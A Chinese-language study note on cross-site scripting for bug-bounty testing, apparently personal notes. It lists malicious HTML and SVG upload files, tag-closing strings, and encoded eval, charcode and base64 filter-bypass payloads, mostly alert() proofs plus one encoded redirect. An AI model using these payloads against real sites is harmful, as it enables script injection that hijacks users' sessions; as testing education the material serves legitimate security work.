漏洞原理:用户输入的参数被回显到页面且可以闭合 HTML 标签,执行前端代码。
其的本质就是闭合前端代码,从而构筑恶意代码攻击。
Payload:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
基本类型
- 反射型:代码被插入本 HTML 页面,刷新后就会消失
- 存储型:代码被存储到数据库,一直存在
- DOM型:纯前端代码造成的反射型 XSS
文件上传
SRC 上面正常的 XSS 不好挖,可以从文件上传入手:
html
1 2 3 4 5 6 7
| <html> <head> </head> <body> </body> <script>alert(1);</script> </html>
|
svg
1 2
| filename=test.svg Content-Type: image/svg+xml
|
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <svg onload="alert(1)" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> </svg>
|
pdf
https://www.shipinzhuanhuan.cn/pdfeditor14/

绕过方法
主要思想和绕 WAF 相同,后端进行如果过滤 XSS ?
- 符号实体化 - 其他符号?
- 关键字过滤 - 同义函数?
闭合
无法闭合标签就闭合属性。
1 2 3 4 5
| "><script>alert(1);</script> */-->'");></iframe></script></style></title></textarea><a>a</a> #*/-->'");></iframe></script></style></title></textarea><iframe > */-->%cf"%d5'></iframe></script></style></title></textarea> %0D%0A // 换行
|
标签
script 、onerror 标签被过滤了如何绕过?
- 双写
- 大小写
- 空字符
- 其他标签 Fuzz
语句
当 alert 语句被过滤,如何绕过?
可以尝试eval触发,并把alert语句编码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>
<img src="1" onerror=eval("\u0061\u006C\u0065\u0072\u0074\u0028\u002F\u0078\u0073\u0073\u002F\u0029")> //ASCII转Unicode <img src="1" onerror=eval("alert(/xss/)")> //ASCII转Hex <img src="1" onerror=eval("alert(/xss/)")> <img src="1" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC9zY3JpcHQ+"></object> <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> <input onclick="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
|
其他
空格、括号 => /
引号 => 反引号
漏洞挖掘
黑盒测试:
- 先使用一个表示作为参数如 “9999”,然后看响应包中是否包含
- 如果有回显那么就看下能否绕过过滤构造 payload
还有一种方法是 JS 审计,这个只搞过一次,挖到了 DOM XSS,不过不收。其主要就是看 JS 的写法,看那里的参数可控,这些可控参数又经历哪些操作?是否危险?
白盒审计:
- PHP 直接搜索页面输出函数,黑白结合测试即可
- Java 先看过滤器,然后找功能点进行测试
自动化工具:w8ay 佬的 xscan